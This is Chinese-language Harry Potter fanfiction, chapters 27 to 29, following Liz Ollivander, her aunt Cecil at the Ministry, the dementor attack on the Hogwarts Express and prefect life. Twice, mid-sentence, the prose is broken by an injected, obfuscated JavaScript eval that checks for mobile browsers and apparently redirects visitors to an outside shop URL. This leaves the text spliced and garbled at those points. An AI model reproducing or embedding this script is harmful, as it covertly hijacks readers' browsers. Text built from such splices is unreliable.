哈利正急切地给所有人讲述着这一晚上的经历,他的声音越说越沙哑,但内容却越发匪夷所思,只有一段是塞西尔在信里提过的,她捕捉到了信息,便想立刻去猫头鹰棚屋寄信出去——海格是无辜的,无论是现在还是四十年前。 不久后两只猫头鹰一前一后飞过塞纳河畔落在二楼的窗台,玻璃被啄得咣咣作响,塞西尔放下手里的酒瓶,一甩手打开了窗户,两封信就这么掉在了餐桌上。 她撕开熟悉的信封,莉兹在信中用最简单的语句概括了今晚的意外,又补充了关于海格的真相。 另一封则是盖着邓布利多同她通信时常用的邮戳,内容更是言简意赅:遗失物已寻回。 看来那一直查不到的东西还是被卢修斯带进了霍格沃茨,塞西尔灌了一大口威士忌,而后起身打开抽屉,那里面的小物件都是她这段时间搜集到的,这些东西都只有黑魔法的气息而已,按照莉兹的说法,那日记本里藏着的是有思维能力的记忆,不是幽灵,记忆是从一个完整的人身上剥离出的部分。 “简直就像是分裂了灵魂。” 她重复念着这句话开始沉思,自古以来每个智慧种族都会追求永生,但魔法是遵循自然法则的力量,因此黑魔法的性质除了死亡、伤害之外,还有违反法则。 礼堂的灯火辉煌打破了这一日几个小时的死寂,走出办公室的莉兹觉得自己就像个局外人,尽管她当着几个教授的面给罗恩的魔杖来了一个起死回生的修复咒,她还是觉得自己不应该出现在这里,她记不起自己是为了什么违反了校规,甚至连自己院长的门禁咒语都被她解开了。 “聪明的人总是要多受些苦,不是吗,奥利凡德小姐。” 离开前邓布利多教授对她说道。 她没多想这句话的含义,站在热闹的礼堂外,长叹一口气正想走开,塞德里克和伍德一左一右奔向了她。 “帕特里克说你闯出了休息室再也没回来。”塞德里克放下心似的笑了笑。 “我们以为你也出事了呢!”伍德急得脸通红,“邓布利多教授回来了对吧?” 站在中间的莉兹瞪圆了眼睛点了点头,看着两位朋友满头大汗的样子,鼻子竟然一酸,深呼吸了一下,她张开双臂艰难地揽过两人,接着将额头轻轻靠在伍德的肩上。 伍德一下子慌了神,两只手都不知道要往哪里放,塞德里克便抓过他的手拍了拍莉兹的后背。 27. 阿兹卡班的逃犯 有钱的单身汉总要娶位太太,这是一条举世公认的真理。可惜莱姆斯·卢平并不富有,甚至在许多人看来他都称不上是个真正的单身汉。每当塞西尔·奥利凡德醉倒在破釜酒吧,人们总知道要去找谁。 男人的衬衣袖口磨毛,洗得发黄,浅棕色的短发里混着白发,正迈着不紧不慢的步子从楼上走下来,瞥了一眼趴在台阶上一动不动的女人,他熟门熟路地一挥魔杖,她的斗篷内袋里便飞出几个银西可。 酒吧老板汤姆满意地接过酒钱,便要转身回去,卢平开口叫住他:“你还得找她十二个纳特。” “哦——好的,先生。”汤姆拖长了音晃了晃脑袋,也是魔杖一挥,一个个硬币便钻进了塞西尔的口袋。 见着男人弯腰将女人拉到了背上,汤姆皱着眉头指着门口的方向咂舌道:“真是斤斤计较的抠门鬼。” 卢平听到了这略显刻薄的评价,但是毫不在意,背着女人的他在门前的石阶上踉跄了半步,明明才五英尺七英寸的个头,掂量着也不过百磅,完全失去意识的人却像一团死物似的有成吨重。 拐过最后一个路口,不远处就能看见那扇漆成了紫色的木门,一楼橱窗上挂着裁缝店的招牌,塞西尔租住在二楼东侧的房间,房东是个古板但心善的老太太。先前冬天时卢平同她打过两次照面,她每次都是冷着脸将塞西尔扶住,然后问他需不需要来杯可可暖和一下身子。 今夜房东依然给塞西尔留了灯,卢平推开房门时险些被地上东倒西歪的酒瓶子绊倒,他小心翼翼避开,把人直接扔在了床上。外面的路灯闪了闪,晃了眼睛,她便翻了个身,把脸埋在枕头上沉沉睡去。 站在原地观察了一下这可怕的房间,即便是对于平时的酒鬼塞西尔来说,这也是有些过分的程度了。不过卢平并没有兴趣思索女人又受了什么刺激,毕竟她每次喝酒的理由都很离谱,有时是今天难得放晴所以应该喝点,有时是今天又下雨了当然要喝点。他轻手轻脚走下楼,锁上一楼的门,离开时正好一条长毛黑狗从路灯杆后探出了头,眨眼间又融进了夜色里消失不见。 最近有一种莫名的预感在心头盘绕,让塞西尔成夜成夜地无法安睡,她总觉得若是不来一瓶伏特加把自己灌醉,便要一直挣扎在梦境里。 空荡荡的黒湖洞穴,水下成群的阴尸,雷古勒斯凄厉的叫声,不停地说着救救我。每当伸出手时,又会变成克利切不知疼痛似的撞墙声,血在墙纸上凝成的黑色,还有自己哭喊着的那句求求你——求求你带我去找他,求求你相信我。 隔天早上塞西尔忍着宿醉带来的剧烈头痛拉下马桶的冲水绳,脚步飘忽地走在魔法部正厅通道上,在电梯口还顺手抽走了一份预言家日报,金斯莱打了个呵欠,抬手示意她先进。 “看来昨天你们巡逻了一夜?”塞西尔按着眉心瞥见报纸头版的新闻,“臭名昭著的杀人犯小天狼星越狱了……” “阿拉斯托现在还在阿兹卡班和管理人交涉。”金斯莱说着又是一个呵欠,电梯门关上前一只纸鹤慢悠悠飞进来落在他的肩上,他把它拆开,上面是一行字——金斯莱,到我办公室来。 “看在梅林的份上,福吉能不能消停两个小时,一个小时也可以。”金斯莱狠狠把纸团起来,按下一层的按键。 门打开时,塞西尔食指和中指叠起来比了一个十字,又勾了勾嘴角说:“祝你好运,我到了。” “我这周就要跟阿莫斯说把你借来傲罗办公室。”金斯莱上前一步按住电梯门。 “我记得那小姑娘不是马上就转正了吗,”塞西尔挤出一个笑容,“至于我嘛,我想斯克林杰先生死也不会签字的。”说着她挥挥手转过身。 虽说神奇动物管理控制司的工作比起傲罗办公室是无趣了一些,毕竟清除麻瓜居住地附近的食尸鬼怎么能和追剿黑巫师相提并论呢。但是塞西尔从小就认为这世间万事万物,最难打交道的从来都是人类,所以她宁可护送一只野生毒角兽回南非,也懒得同上级扯皮。 要知道阿莫斯·迪戈里除了十句话里六句离不开儿子之外,比斯克林杰可要好太多了。 比如今天刚进办公室,就听到他在和库尔特说塞德里克昨天收到了级长勋章,新学期开始他儿子便是赫奇帕奇的级长了。 见到塞西尔来了,阿莫斯停了下来,指着那只眼睛有条疤痕的猫头鹰说:“又是你的信,前台的玛丽说怎么也抢不下信封,我就帮你带进来了。” “谢谢。”塞西尔一边拉开椅子坐下,一边伸手摸了摸班克,信封上是她再熟悉不过的字迹,世界杯预赛选拔刚好在这个夏天,莉兹一整个假期都在跟着米歇尔到处飞,只要受了委屈总会偷偷写信给她。 亲爱的塞西尔 我终于回到伦敦了,马上就要开学了,昨天一大早妈妈拉着我去买了新教材还订做了新的制服裙,我应该是长高了,这真是天大的好事。 但我还是希望米歇尔女士能让我睡会儿懒觉,因为丽痕书店晚上九点才打烊。 哦对了,我实在搞不懂奥利弗那家伙为什么会这么开心,只是让他跟青年队训练了一周而已,我从来没见过一个人脸上能出现那种笑容,好可怕啊,魁地奇。 昨天我本想找机会去找你的,我想你应该在对角巷喝酒,可妈妈从不让我在晚上去破釜酒吧,好久没见你了,真想和你说说话。 等今年圣诞节休假,我们再去看剧好吗? 最后还有一件事,邓布利多教授给我寄了级长勋章,你觉得我能拒绝吗? 祝一切都好。 想你的莉兹 读完了来信,塞西尔笑了笑,这头刚听阿莫斯夸赞他儿子,那头自己侄女就在信里说不愿当这个级长,人和人真是一点都不一样啊。于是她摊开一张空白信纸,歪着头思索回信的内容,昨夜喝得烂醉的记忆碎片也逐渐被抛在了脑后。 魔法部长办公室里,金斯莱不情不愿地听着福吉在长篇大论,话里话外无非是他作为魔法部长无需为一位凶犯的越狱事件承担责任,即便这是个残忍的食死徒,并且魔法法律执行司应当尽快抓回逃犯重新关押。至于金斯莱先前提交的西里斯·布莱克杀害小矮星彼得及十二个麻瓜的案件重审申请,他直接拿起来扔进了壁炉中。 “博恩斯和斯克林杰都签过字了。”金斯莱拿出司长和主任作为挡箭牌。* “我怎么不知道魔法部现在是傲罗办公室说了算,”福吉皮笑肉不笑地一拍桌面,“如果阿米莉亚自己提交,我会考虑。” 作为这次追查的主要负责人的金斯莱强压不满,准备再次反驳时,在阿兹卡班待了一整夜的阿拉斯托·穆迪怒气冲冲地推开了部长办公室的大门,拄着拐杖拖着那条木头假腿,不顾门外秘书的阻拦,大喊着:“康奈利,派摄魂怪去驻守霍格沃茨,亏你想得出这种荒唐的主意?” “这是公开投票通过的方案,”福吉站起身来,在那只动来动去的假眼的注视下,他不安地移开目光,“阿拉斯托,你已经退休了,你不应该出现在这里。” “我仍然是傲罗办公室的顾问,别忘了是你们求我回来抓那个布莱克的!”阿拉斯托昂起头,假眼直直盯着福吉。 眼见着情况不太对,金斯莱拉着穆迪尽快离开了办公室,以防“疯眼汉”再冲动做出什么事来。 “明天摄魂怪就会上火车的。”福吉狠狠关上了门,还补充道,“邓布利多反对了也没有用!” 部长办公室的热闹没到午餐时间就从一层传到了四层以上,一个矮胖的女人重复地形容着福吉的脸色和穆迪离开时的样子,仿佛没有意识到自己已经将相同的话说了好几遍似的。塞西尔给女人的红茶杯里加了点奶,揽着她离开了中间的桌子到了楼梯角落。 “听说阿拉斯托又给福吉脸色瞧了,伯莎,快给我讲讲你去交文件的时候听到什么了?”面对这个被大家嫌弃总是健忘还碎嘴的老同事,只有塞西尔有这个耐心。 毕竟当年自己刚入职魔法部做底层实习生时,碰上的并非时阿莫斯这样好相处的上司,而伯莎·乔金斯因为在各个部门之间来回调任,对每个主任的心思都了解一些,这确实帮了她不少。 记性不好的乔金斯说话时常语序错乱,塞西尔已经习惯了如此对话,她只从那些句子中提取出了关键的信息——摄魂怪,难怪邓布利多要让莱姆斯今年去霍格沃茨教书,安抚地拍了拍乔金斯的后背,她匆忙回到办公室又寄出了一封加急信。 午后的奥利凡德魔杖店,莉兹顶着一头乱蓬蓬的短卷发,手拿刻刀,认真仔细地雕着一根柳木枝,嵌入的独角兽尾毛在制作中隐隐闪着光,她比了比长度,大约是十四英寸长,有很不错的韧性。 老奥利凡德欣慰地看着孙女的作品,满意地说着:“我想它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487815|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天就能找到自己的主人。” “您要售卖我的魔杖吗?”她眨了眨眼,银白色的瞳孔满是惊喜。 “莉兹,这已经是奥利凡德的魔杖了!”老奥利凡德话音刚落,一个红发男孩推开店门。 那是韦斯莱家的孩子,乔治和弗雷德的弟弟罗恩·韦斯莱,莉兹记得他。 罗恩有些拘谨地从背包里拿出已经炸开的旧魔杖,尤其是见到站在桌前的莉兹时,他不好意思地挠了挠后脑勺:“非常抱歉,你还帮我修理过好几次,它还是……” “不是你的错,”莉兹接过用手帕包着的魔杖碎片,“它本来就是你哥哥的,你今天是要来买新魔杖的吗?” 她才准备说这根已经没救了,罗恩便点点头,只是他的预算不高,希望能帮忙挑一个合适的。 “制作师不指定主人,是魔杖选择了主人。”老奥利凡德又开始了他神叨叨的念白,罗恩听得云里雾里,像是有什么因缘指引一般,他注意了桌上那根崭新的魔杖。 说来也怪,莉兹也在同时有了神奇的感知,并不是因为爷爷的那句话,而是她清楚地预见到了罗恩会拿起它。卖出人生中第一根自己制作的魔杖后,她把自己的感受和爷爷说了出来。 “它们的声音越来越清晰了,我想它们在对我说话。” 老奥利凡德的眼神倏然间变得清明,他看向孙女说道:“记住这一刻的感觉,你会成为最伟大的奥利凡德。” 此时一封加急信从门缝钻了进来,莉兹不解地看着姑姑写的几行字,因为要追捕西里斯·布莱克所以让摄魂怪搜查特快列车,这听着可太不现实了,何况怎么样愚蠢的人才会选择在火车上杀害大难不死的救世主,刚要继续深究时便立刻给自己的大脑叫了暂停,吸取了上学期的经验,她已经不愿再掺和这些事情了。 不过提前为摄魂怪做些准备似乎也不错,可尽管莉兹花了一下午草草练习了如果真遇上失控的摄魂怪要怎么办,却在火车停下的那一刻,整个人仿佛被冻在了座位上,层层冰霜攀上了车窗玻璃,冰冷的气息侵占了车厢的空间,走道里隐约听见珀西的声音,他在提醒所有人不要离开座位。 火车内的灯光突然全部熄灭,玛丽埃塔发出了一声尖叫,蜷缩起来抱住身旁的秋·张,一只摄魂怪伸出长长的手拉开了车厢门,莉兹紧握着魔杖颤抖着起身,挡在了其他人面前。 书上的每个字都是真的,原来真的会有这种所有快乐都被吸走的恐惧感,她举起魔杖,虽然谁都知道要用守护神咒对付它们,但是第一次尝试能有什么效果,她是真的不知道。 “呼神护卫——” 随着咒语的念出,起初是银白色的气团从魔杖顶端冒了出来,接着她又念了一遍,气团逐渐形成了一面盾牌一样的罩子,将摄魂怪逼出了车厢。 就这样,莉兹呆愣愣站在原地,甚至没听见身后玛丽埃塔的惊呼,秋·张瞪大了双眼,良久才组织好语言:“你是怎么做到的,这个咒语……” “是的,特别难。”莉兹僵硬缓了几秒钟又立马从背包里掏出了巧克力发给她们,见外面平静了下来便收起魔杖,“你们多吃些这个,我去看看低年级车厢。” 新生们那里最是混乱,莉兹在半路上碰见了刚从前面回来的塞德里克,他看起来像是在大风中走了一英里地似的狼狈,一边塞了巧克力给他,一边说:“没出什么事吧?” “哭声比较可怕,其他没有任何事。”塞德里克无奈笑了笑,接着拆开巧克力包装扔进嘴里,“格兰芬多的车厢好像比较麻烦,晕倒了一个学生。” 正说着的时候,伍德穿过人群,嘴里还关切地碎碎念着:“什么?哈利受伤了?” 和他们俩迎面撞上,伍德停下打了个招呼,完全没有在意塞德里克狼狈的头发和莉兹煞白的脸色,只埋头向前继续走。 “这种时候还在惦记魁地奇,好可怕。”联想起暑假里的一切,莉兹摇头说。 “认同。”塞德里克抬起手,两个人击了个掌。 只是实际上在看到伍德的同时,莉兹的眼前又再次闪过刚刚念出守护神咒时的回忆——冰凉而甜蜜的太妃糖冰淇淋。 *这里说的是阿米莉亚·苏珊·博恩斯和鲁弗斯·斯克林杰,这个时间段推测应该前者是魔法法律执行司司长,后者是傲罗办公室主任,傲罗办公室隶属于魔法法律执行司。 28. 离经叛道的级长 原本应当在列车到站前召开的级长会议因为摄魂怪的搜查而被迫取消,新任学生会男生主席珀西·韦斯莱对此十分不满,因为若是迟到的莉兹和塞德里克能提前十分钟来一趟级长车厢签到的话,他就不用在到校后再补上会议记录了。不仅如此,他又在下车后听说莉兹竟在火车上使用了守护神咒,见人人都在惊叹,他便立马打起了官腔,摆出一副了不起的模样,话里话外指责拉文克劳学院不应选出这样离经叛道的级长。 “佩内洛,你的重点怎么会在五年级的学生不可能学会守护神咒上,我认为尽管从未明文规定未成年无法在列车上使用魔法,但我们不能……” 才起了开头的长篇大论被一前一后打闹着跑向前的双胞胎兄弟打断,乔治回过头冲着自家哥哥做了个鬼脸,弗雷德甚至补了一句:“天呐,我们对学生会主席不敬了,格兰芬多扣三分!” 幼稚的弟弟们仿佛是珀西的罩门,他脸瞬间涨得通红,在同为学生会主席的佩内洛·克里瓦特,也就是他的女朋友面前,他感觉自己真是丢尽了颜面。于是珀西不再继续刚刚的话题,伸手扶住了马车的门,让佩内洛先上了车。 马车内已经坐了两个人,好巧不巧话题中的“主人公”就在最里边,莉兹抬起头同佩内洛打了个招呼,接着只是看了珀西一眼便别过脸看向了车窗外。与此相对的,旁边帕特里克倒是很热情地和两位同级生聊起了暑期的见闻,可多多少少看得出他对珀西的态度有些冷淡,似乎对落选了学生会主席这件事依然耿耿于怀。 要知道帕特里克·费尔曼自打入学起便是众人皆知的三好学生,脾气好、成绩好、人缘好,连皮皮鬼都不忍心捉弄他,弗立维教授假期里甚至给他寄去了一封感谢信,赞扬了他这两年对拉文克劳学院的贡献,也希望他能和莉兹还有戴维斯一起继续努力。 马车经过由摄魂怪把守的铁门,刺骨的凉意又攀上了了脊背,莉兹直起身皱起眉头,下意识抓紧了斗篷口袋里的魔杖,她可太不喜欢他们了。 “对了帕特里克,麻烦你通知拉文克劳其他级长,明早第一节课之前在级长会议室开会,我希望没有人会迟到。” 说到最后一句时,珀西看了一眼轻巧地蹦下马车的莉兹,她抬了抬眉毛,像是什么都没听见似的直接转身走向前,乔治和弗雷德从前面一辆马车上一下来便一左一右把她这个小个子夹在中间,三个人推推搡搡往着城堡去了。 在霍格沃茨的第五个新学年开始了,开学典礼总是差不多的流程,礼堂里面对的也总是那么些人,唯一新鲜的是邓布利多教授介绍了摄魂怪,还同时给级长们和学生会主席们提了醒。除此之外,莉兹并不太关心又是哪位倒霉蛋担任了新的黑魔法防御课老师,更不是很关心保护神奇动物课的老教授退休了,所以以后会由海格来上这节课,她只是和往常一样思索着是先来一份煎羊排还是炖牛肉。 也许塞西尔会替海格高兴吧,她突然这么想着。 隔天一早,莉兹把一份魁地奇速报夹在胳膊下,一边打着呵欠一边慢悠悠地走向级长会议室,她今年的选课几乎避开了所有上午的第一节,只剩下了周五那节算数占卜课。 昨晚戴维斯看到她的课表时露出了难以置信的表情,毕竟每个学生都要在五年级时参加OWLs考试,这不仅是NEWT的敲门砖,也是未来就业的起点,同莉兹明里暗里争了几年的第一名,却没料到对方竟是一点战意都无。 “选修课少上一两门又不会怎么样。”莉兹拿回自己的课表,回头看向几个新生,领着她们上了楼。 到达会议室时,莉兹推开门从门缝里悄悄观察了一下里面的情况,现在来了二十二个人还差两个,于是她松了一口气,面无表情地在角落里坐下,反正自己不是最后一个就可以了。 没过两分钟,莉兹刚在腿上摊开那份魁地奇速报,差些迟到的塞德里克猫着腰溜进来,给了她个眼神让她往里面挪一挪,最后一排的动静还是让珀西给发现了,他瞪了一眼后面两个人,才开始自己的讲话。 看来塞德里克对会议内容同样毫不关心,他对莉兹正在看的报纸更感兴趣—— 英联赛93/94赛季第一轮比赛结束,霍利黑德哈比队与瑞文尼亚渡鸦队并列榜首,普德米尔联队降到第二名。 今夏的转会窗口于今日正式关闭,塔特希尔龙卷风队找球手莱莉·塔克转会霍利黑德哈比队,以一千二百万加隆转会费创下欧洲历史新高。 魁地奇世界杯体育馆的扩建工作正在进行中,预计将在今年十月末竣工,据悉新体育馆可容纳十万名观众。延期至十二月一日开幕的魁地奇欧洲杯,将会在决赛日首次启用该场馆。 世界杯欧洲区预选赛英国球队全部顺利出线,英格兰队位于积分榜第一位,威尔士队位于第三位,苏格兰队在补充赛中击败意大利队,拿下最后一个名额。 英格兰国家队新任主帅、普德米尔联队主帅米歇尔·奥利凡德将会参加下周日举办的欧洲魁地奇协会主席选举,她的最大竞争者会是连任两届主席的法国人桑卡拉。 …… “我看到了什么,米歇尔要竞选欧魁协主席?”塞德里克惊讶地低声感叹道。 “是啊,第一次听说呢。”莉兹撇了撇嘴。 “你不知道?”塞德里克看向她。 “我在想人应该不能同时做三份工作吧,我是说,国家队教练、俱乐部教练和魁协主席……”莉兹一脸平静地眨了眨眼睛,“不过考虑到是米歇尔女士,也不是没有可能。” “我有时候真是分不清你什么时候在开玩笑,什么时候在说实话了。”塞德里克笑了笑。 莉兹也对着他僵硬地一笑:“我当然在开玩笑,绝顶聪明的迪戈里先生,欧魁协委员会十个成员可都是男人,哦顺便一提,桑卡拉也是男人。” 话音刚落,塞德里克决定自己应当闭上嘴,他抬起双手投降,就当不该提这个话题,而此时珀西也终于结束了他那些毫无用处的上任发言,挥了两下魔杖,面前的那沓资料便一张一张飞到了每个人手边。 “邓布利多教授要求我们所有人轮流在宵禁时间前进行巡逻,确保不会有任何低年级的学生在摄魂怪驻守的卡口附近逗留。”珀西指了指发下去的文件,“按照排班表两个人一组进行巡逻,有任何特殊情况请立即向我和佩内洛汇报。” “真不错,我们今晚刚好一组。”塞德里克碰了碰莉兹的手肘。 “可惜我下周三就要和伟大的韦斯莱主席一起巡逻了,”莉兹摇了摇头,小声嘀咕着,“他就不能把自己和佩内洛都排在一起吗?” “你一会儿能帮我把这个带给奥利弗吗,我们约好早上在老地方见的,可是我得去赶早课。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487816|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞德里克从挎包里拿出一本书。 “你为什么会觉得我没有早课?”莉兹看似不情不愿却还是伸手接过书。 “有早课的话你肯定不会来开会,拜托你啦。”塞德里克露出对她了如指掌的表情,然后在珀西宣布散会的同一时间溜出了会议室大门。 出门就撞上了平日早晨走廊里最忙碌的时候,莉兹把报纸和书一起抱在怀里,十分后悔答应塞德里克要帮他去给伍德送书,不然直接回拉文克劳塔楼就不用经过这段路了,连续被来来往往的人撞了几次,她叹了口气缩进楼梯的拐角,准备先站在这里等待着早高峰的结束。 为了打发时间,她低头看了看书的封面,标题——以我为傲,翻开第一页的副标题——卡特丽娜·麦克玛,划时代的魁地奇女王。这确实是伍德会借的书,她缓缓摇了摇头。 先一步到达办公室的伍德还以为塞德里克应该已经来了,他可有一肚子的话等着和他说。 因为假期里一大半的时间伍德都待在普德米尔联队的训练场,期间还跟着英格兰青年队练了一个星期,等到终于有休息时间回到在富勒姆的家时,迪戈里家和张家却约着一起去法国南部度假了。更可气的是这位好兄弟连个便笺都不留一张,害得他狼狈地敲了好久的门,最后爬上了二楼窗户才发现家里根本没有人。 吱呀一声,门被打开,伍德背对着门方向,在空白黑板上随手涂涂画画,捏着粉笔他转过身抱怨道:“你这家伙真是有够不守时的……” 谁料抬眼对上了那双银色的瞳眸,看不出情绪的眼神,把他整个人定在了原地,下意识攥紧了拳头,一根粉笔被碾得七零八碎,愣是组织了三四次语言都没能说出完整的句子来,他手忙脚乱地挠了挠头,粉笔灰飞扬在空气中,被小窗照进来的光衬得像点点仙尘。 “猫头鹰速递已送到,伍德先生请查收。”莉兹晃了晃手里那本书,轻轻向前一抛。 伍德眼疾手快在高处便抓住了书,粉笔印也留在了封面上,这个场景熟悉得就像暑假里的午后,她骑着扫帚将鬼飞球扔向球门,风会吹起她的头发,那常常让守在空中的伍德突然走神。 于是这一秒,他又呆住了。 “嘿——奥利弗!”莉兹不知道什么时候走到了他的身边,踮起脚在他眼前打了响指。 “哦,谢……谢谢,我想着得是塞德过来的,他昨天跟我说好的。”伍德语无伦次解释着。 “我们早上一起开会了,”莉兹拉开椅子坐下,顺便继续看那份报纸,“他有早课来不及,我就顺便来了。” 见他将目光移到了魁地奇速报上,她就大方地将报纸推过去了一些,大约是觉得距离还是远了,伍德又把椅子挪近了不少,两个人近乎是头挨着头,莉兹微微转头便看到了他脸颊上挨到的粉笔灰,没有经过任何思考,她伸手蹭了蹭他的脸,小指甚至碰到了他的耳垂。 闷热的气息在不算宽敞的办公室里升腾起,安静了几分钟,莉兹冷不丁宛如掩饰一般地补充道:“是粉笔灰,我帮你擦掉了。” “谢……谢谢。”伍德再次结结巴巴地道谢,低头时又看到了她的眼睛,那种被石化的感觉并没有减少,只是这个距离和角度,更让他在意的是莉兹的鼻尖和鼻尖下圆润的唇珠——这会让他无数次想起攻破自己球门的那一刻,她嘴角上扬,露出了坦率的笑。 29. 诸事不顺 一个多月过去了,很显然追捕西里斯·布莱克的事情毫无进展,魔法部反而花费了更多的宣传资金在《预言家日报》上,隔几天就会编造一些西里斯的去处,接着安排傲罗办公室的傲罗们大摇大摆地去转悠几圈,福吉认为这非常有效地彰显了自己的能力,他是一位永远在做实事的领导者。 塞西尔一脸鄙夷地摇着头把手里的报纸扔到一边,拿起桌上那份今早危险动物委员会送来办公室的关于去霍格沃茨调查神奇动物伤人事件的通知,她的眉头皱得更深了,心想着怎么海格每年都要被盯上一次,这次究竟又是惹了谁了。 文件背面夹着一张照片,她举过头顶,靠在椅背上仰头端详着,进门的库尔特注意到了照片,便拉过椅子凑过来坐下说:“我前天刚去见了那头鹰头马身有翼兽,天呐他可太漂亮了,那毛发在白日里像是彩虹色似的,我从没见过照料得这么好的动物,据说是野生繁殖的呢。” “既然你已经去过了怎么还要再考察一次?”塞西尔挥挥魔杖给两个人的杯子里都添了点红茶。 “我报告里如实写的鹰头马身有翼兽没有主动伤害人类的先例,并且在有效饲养的情况下即便受到刺激也不会有较强攻击性,”库尔特露出了烦恼的表情,“阿莫斯也认可签字了,可惜交上去之后没通过,不仅被驳回了还让我们重新提交报告。” “看来不会是委员会的问题”塞西尔探头去问在窗边打着盹的阿莫斯·迪戈里,“所以马尔福到底给福吉那家伙送了多少加隆?” “哦——塞西尔,梅林都管不住你的嘴!”阿莫斯一个惊醒差点从椅子上滑下去,他立马拿起魔杖一挥关上了办公室大门,“邓布利多先生给福吉寄了信,也抄送给神奇动物管理控制司了。” “非常抱歉,”塞西尔两手挡在嘴前装作在认错的样子,接着拿过文件便站起来,“那我等会儿就去趟霍格沃茨,我先走了。”顺手抓了一把飞路粉,弯腰钻进了办公室的壁炉。 尽管这没什么依据,但几乎所有学生都认为开学以来始终阴沉沉的天气,同那些在霍格沃茨周围游荡的摄魂怪离不开干系。不过格兰芬多魁地奇球队的选手们却认为,这一切也许和誓死要在最后一年拿下学院杯的队长更有关系。 奥利弗·伍德的精神压力已经具象成了某种实体,因为弗雷德觉得在魁地奇球场外都能时不时听见伍德高喊着“再来一球”或者“再飞一圈”的声音,他考虑到自己平日里绝对健康的精神状态,只能怀疑是伍德的念力成了幽灵,环绕在他们每个人身边。 总是被寄予厚望的追求手安吉丽娜也被影响了,她时不时就在课堂上走神,脑袋里全是鬼飞球传来传去的画面。 今早的变形课麦格教授点了安吉丽娜回答关于阿尼玛格斯的问题时,她竟是少见的愣住了,大脑一片空白,身后坐着的韦斯莱双子显然无法在学业上帮助她,直到斜后方的莉兹趴在桌上凑到她的耳边报出了教材的页数,她才磕磕绊绊讲出了答案。 麦格教授勉为其难认可了她的回答,没有因此而责怪什么,安吉丽娜松了口气回头悄声说了句谢谢。 莉兹扫了一眼身旁兄弟俩的脸色,又联系起安吉丽娜难得的焦虑,而今年赛季的第一场比赛马上就要开始了,看来今年伍德依然没有让他的队员们好过,不过只是对上斯莱特林而已,过分紧张真的有必要吗。 到了自由练习变形咒语的时间,莉兹举着魔杖一边面前的怀表挥了两下,一边歪过头压低声音和乔治说:“让我猜猜——又是因为奥利弗吧。” 蓬松的卷发蹭到了乔治的下巴,他用手背挠了挠,然后不经意地摸了摸她的发尾,点头回道:“但我们这次可以理解他,所以我们所有人决定理解奥利弗,并成为奥利弗。” 听了这话的莉兹不自觉笑了出来,小古板女士能这么自然地笑可真稀奇,于是乔治伸手拿过了刚被变成一只弹跳蛙的怀表,故意去逗她起身来够。莉兹的笑容果然立刻收住了,她微微蹙眉环抱着双臂,手里还拿着魔杖,眼神里露出了点威胁的意味,这下乔治才满足地放过了那只弹跳蛙。 多亏了自由练习,让这节课的最后十分钟变得十分轻松愉悦,只可惜下课铃响得很不是时候,因为在麦格教授留完作业之后,所有人才听见了它的声音。 论变形咒语对于不同性质物品的作用效果,长度不少于三英尺,这复杂又困难的论文题目听得周围人不约而同长叹气,莉兹只是摇摇头将课本放回背包里,决定趁午休的空闲去找几本参考书,把之前借的《魔杖制作材料大全》顺便一起给还了。 这时候的图书馆几乎没有人,十分安静就连书从书架上飞出来的轻微声响都很明显,平斯夫人推着小车的上面堆着如山一样的硬皮书,她和平时一样对学生们没什么好脸色,见到用咒语将几本书悬浮在半空的莉兹,昂着头不满地轻声咳嗽了两下。 收起魔杖,把书抱回怀里,莉兹绕过平斯夫人身旁,却在书架拐角和谁不小心撞了个照面。 书本差点散落一地,还好她的反应够快,再次挥舞魔杖,让它们回到了自己怀里。被撞到的人正是这学期新来的黑魔法防御课教授,莱姆斯·卢平,见莉兹如此灵巧又熟练地使用无声咒,他露出了赞许的表情。 “非常抱歉,卢平教授。”莉兹立刻道歉,接着小跑着走出了大门。 和她那锋芒毕露的姑姑真是一点也不像,卢平看着她的背影,在心里如此评价道。 尽管出于一些原因,他不能和莉兹透露自己和塞西尔认识的事情,但塞西尔自从听说了他要来霍格沃茨教书之后,经常来打听侄女的情况,每次提起来都是很自豪的语气,仿佛这是天下第一好的姑娘。 考虑到塞西尔这个人总是半句真半句假的说话风格,卢平自然不会完全相信,不过从第一日在列车上听说有个五年级的学生使用了呼神护卫咒语之后,他便改了原先的想法了。在他看来,这个孩子做什么事情都是不声不响的,连穿梭在车厢间安慰低年级学生时也是一样,简单安慰一句然后一个个递上巧克力,并不在意是不是得到了关注。 开学时的第一节黑魔法防御课上,其他人都是兴奋而紧张地面对着那只衣柜里的博格特,只有轮到她的时候,博格特先是变成一件魁地奇斗篷,转眼间又成了一封吼叫信,再转眼又成了一双高跟皮靴,仿佛找不准她最恐惧的事物似的不断变化着,一只博格特竟然在测试她。 “滑稽滑稽。”在成千上百个鬼飞球朝她急速飞来的瞬间,莉兹站在原地平静地念出了咒语,鬼飞球炸开成满天的爆米花,还有太妃糖的香气。 俗话果真如此,大白天不要随便想起谁,离开图书馆后,卢平下到二楼长廊远远便看到了塞西尔,她的头发最近又变成了海蓝色,修剪得特别短,站在人群里很难不惹眼。她在对着楼梯上的莉兹招手问好,卢平便当作不认识一样与她擦肩而过。 如果不是外面的雨下得太大了,塞西尔大约会在禁林多逛一会儿,海格还邀请她晚 